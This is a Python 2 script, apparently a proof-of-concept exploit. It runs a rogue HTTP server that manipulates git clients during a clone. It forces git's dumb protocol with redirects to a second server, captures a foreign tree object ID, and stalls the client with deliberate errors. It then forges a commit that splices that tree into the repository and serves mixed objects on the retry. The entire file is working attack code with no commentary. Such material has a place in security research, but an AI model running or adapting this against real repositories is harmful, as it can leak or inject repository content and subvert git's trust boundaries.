import SimpleHTTPServer
|
import SocketServer
|
import os.path
|
import re
|
import time
|
import os
|
import shutil
|
from io import BytesIO
|
from gitdb.base import IStream
|
import git
|
import gitdb
|
import binascii
|
|
try:
|
shutil.rmtree('tempdir')
|
except:
|
pass
|
shutil.copytree('.git', 'tempdir')
|
os.chdir('tempdir')
|
|
state = 0
|
state_2_time = None
|
tree_objid = None
|
|
def object_id_by_path(path):
|
object_pat = re.compile('^/objects/([0-9a-f]{2})/([0-9a-f]*)')
|
m = object_pat.match(path)
|
if m == None:
|
return None
|
return m.group(1) + m.group(2)
|
|
class myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
|
def do_forward(self):
|
print ' forwarding'
|
self.send_response(301)
|
|
# downgrade smart to dumb protocol
|
path = self.path.split('?')[0]
|
|
# important: append dummy suffix to make git treat this as an
|
# "insane redirect scheme" and not cache the redirect locally.
|
dummy_suffix = '?dummy=dummy'
|
|
new_path = '%s%s%s'%('http://localhost:8001', path, dummy_suffix)
|
self.send_header('Location', new_path)
|
self.end_headers()
|
|
def do_error(self):
|
print ' sending error'
|
self.send_response(500, 'temporary error, please try again')
|
self.end_headers()
|
|
def do_GET(self):
|
global state, state_2_time, tree_objid
|
objid = object_id_by_path(self.path)
|
print self.path
|
if state == 0:
|
if objid != None:
|
# fetching the commit
|
state = 1
|
self.do_forward()
|
return
|
if state == 1:
|
if objid != None:
|
# fetching the tree
|
print 'got tree object id: ' + objid
|
tree_objid = objid
|
state_2_time = time.time()
|
state = 2
|
self.do_error()
|
return
|
self.do_forward()
|
return
|
|
if state == 2:
|
if state_2_time + 1 < time.time():
|
print '### ADVANCING TO STATE 3'
|
|
repo = git.Repo('.')
|
cm_orig = repo.heads.master.commit
|
tree = cm_orig.tree
|
tree.cache.add_unchecked(binascii.unhexlify(tree_objid), 16384, 'boring_subdir')
|
tree.cache.set_done()
|
|
sio = BytesIO()
|
git.objects.fun.tree_to_stream(tree._cache, sio.write)
|
sio.seek(0)
|
istream = repo.odb.store(IStream(gitdb.typ.str_tree_type, len(sio.getvalue()), sio))
|
tree.binsha = istream.binsha
|
print tree
|
|
new_cm = git.Commit.create_from_tree(repo, tree, 'newest commit', parent_commits=[cm_orig], head=True)
|
print new_cm
|
|
os.system('git update-server-info')
|
|
print '### GIT COMMIT CREATED'
|
|
state = 3
|
else:
|
print 'not advancing'
|
self.do_error()
|
return
|
|
# Code starting now should only run on second clone attempt.
|
# Mix the two repos: Objects and metainfo that exist in our repo are served from
|
# our repo, objects we don't have come from the remote repo.
|
path = self.translate_path(self.path)
|
if os.path.isfile(path) and not path.startswith('/objects/info/packs'):
|
print ' sending file'
|
f = self.send_head()
|
if f:
|
try:
|
self.copyfile(f, self.wfile)
|
finally:
|
f.close()
|
else:
|
self.do_forward()
|
|
PORT = 8000
|
SocketServer.TCPServer.allow_reuse_address = True
|
handler = SocketServer.TCPServer(("", PORT), myHandler)
|
print "serving at port 8000"
|
handler.serve_forever()
|